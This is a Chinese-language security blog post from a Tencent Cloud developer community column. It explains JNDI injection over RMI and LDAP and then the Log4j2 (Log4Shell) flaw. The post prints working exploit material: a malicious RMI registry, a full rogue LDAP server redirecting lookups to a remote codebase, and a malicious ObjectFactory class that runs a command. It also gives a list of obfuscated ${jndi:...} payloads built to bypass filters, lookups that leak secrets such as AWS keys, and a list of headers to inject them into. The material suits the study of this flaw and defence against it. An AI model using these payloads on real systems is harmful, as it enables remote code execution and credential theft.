前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从jndi到log4j2

从jndi到log4j2

原创
作者头像
红队蓝军
发布2022-03-21 13:13:33
3450
发布2022-03-21 13:13:33
举报
文章被收录于专栏:红队蓝军红队蓝军

JNID基础

JNID的有关类:

InitialContext类:

代码语言:java
复制
InitialContext()
构建一个初始上下文。  
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
InitialContext initialContext = new InitialContext();

常用方法:

代码语言:java
复制
bind(Name name, Object obj)
    将名称绑定到对象。
list(String name)
    枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
    检索命名对象。
rebind(String name, Object obj)
    将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
    取消绑定命名对象。

Reference类:

代码语言:java
复制
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:

Reference(String className)
为类名为“className”的对象构造一个新的引用。

Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。

Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。

Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

代码语言:java
复制
String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

代码语言:java
复制
void add(int posn, RefAddr addr)
    将地址添加到索引posn的地址列表中。  
void add(RefAddr addr)
    将地址添加到地址列表的末尾。  
void clear()
    从此引用中删除所有地址。  
RefAddr get(int posn)
    检索索引posn上的地址。  
RefAddr get(String addrType)
    检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll()
    检索本参考文献中地址的列举。  
String getClassName()
    检索引用引用的对象的类名。  
String getFactoryClassLocation()
    检索此引用引用的对象的工厂位置。  
String getFactoryClassName()
    检索此引用引用对象的工厂的类名。    
Object remove(int posn)
    从地址列表中删除索引posn上的地址。  
int size()
    检索此引用中的地址数。  
String toString()
    生成此引用的字符串表示形式。  

JNID+RMI

客户端(被攻击者):

代码语言:java
复制
package com.naihe;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIS {
    public static void main(String[] args) throws Exception {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

服务端(攻击者):

代码语言:java
复制
package com.naihe;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIC {
    public static void main(String[] args) {
        try {
            ////高版本gdk默认是关闭ldap远程加载class文件的,需要设置com.sun.jndi.rmi.object.trustURLCodebase
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            String uri = "rmi://127.0.0.1:1099/hello";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

恶意类:

代码语言:java
复制
import java.lang.Runtime;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Calc implements ObjectFactory {
    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime.getRuntime().exec("calc");
        return null;
    }
}
1.png
1.png

流程分析:

2.png
2.png
3.png
3.png
4.png
4.png
5.png
5.png
6.png
6.png

通过rmi获取一个Reference对象

7.png
7.png
8.png
8.png
9.png
9.png
10.png
10.png

进入第一个loadClass方法

11.png
11.png

在这里本地加载是加载不到的因此会返回null,进入第二个loadClass方法

12.png
12.png

这里可以看到已经使用url类加载器远程加载class文件,并生成一个类加载器

13.png
13.png

进入newInstance方法

14.png
14.png

返回的对象是一个URLclassLoader类

使用cl这个URLClassLoader生成一个被远程调用的类的class对象

15.png
15.png

利用反射无产构造创建对象

16.png
16.png
17.png
17.png
18.png
18.png

这里也会调用反射生成的对象的getObjectInstance方法

19.png
19.png

JNDI+LDAP攻击手法

服务端:

代码语言:java
复制
package com.naihe3;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1/#Calc"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客户端:

代码语言:java
复制
package com.naihe3;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws NamingException {
        //高版本gdk默认是关闭ldap远程加载class文件的,需要设置com.sun.jndi.ldap.object.trustURLCodebase
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        String url = "ldap://127.0.0.1:7777/Calc";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);

    }
}

恶意类:

代码语言:java
复制
import java.lang.Runtime;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;


public class Calc implements ObjectFactory {
    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime.getRuntime().exec("calc");
        return null;
    }
}
20.png
20.png
21.png
21.png
22.png
22.png
23.png
23.png
24.png
24.png
25.png
25.png
26.png
26.png
27.png
27.png
28.png
28.png
29.png
29.png
30.png
30.png
31.png
31.png

过程基本上和rmi一样

Log4j

漏洞成因:

log4j支持jndi,可以远程调用rmi和ldap,由于rmi和idap本身存在漏洞,因此log4j就会简介触发rmi和idap

服务端:

代码语言:java
复制
package com.naihe4;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class j2 {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        //同上
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        logger.error("随便输入xxxxxxxxxx231请31212312312:${jndi:rmi://127.0.0.1:1099/hello}");
    }
}

直接跟进到MessagePatternConverter#format方法

32.png
32.png

匹配${,进入替换

33.png
33.png

这里获取协议前缀并判断是否在许可的协议内

34.png
34.png

调用JndiManager#lookup方法

35.png
35.png
36.png
36.png

调用InitialContext#lookup方法

37.png
37.png
38.png
38.png

后面又回到了前面的分析

调用链

代码语言:java
复制
        在org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:217)
      在org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)
      在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)
      在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
      在org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
      在org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
      在org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
      在org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)
      在org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
      在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
      在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
      在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
      在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
      在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
      在org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
      在org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
      在org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
      在org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
      在org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)
      在org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)
      在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)
      在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)
      在org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log(DefaultReliabilityStrategy.java:63)
      在org.apache.logging.log4j.core.Logger.log(Logger.java:161)
      在org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)
      在org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)
      在org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)
      在org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)
      在org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
      在org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
      在com.naihe4.j2.main(j2.java:9)

绕过payload:

代码语言:java
复制
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}

可执行的命令获取信息:

代码语言:java
复制
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

log4j会记录的请求头

代码语言:txt
复制
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • JNID基础
  • JNID+RMI
  • JNDI+LDAP攻击手法
  • Log4j
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档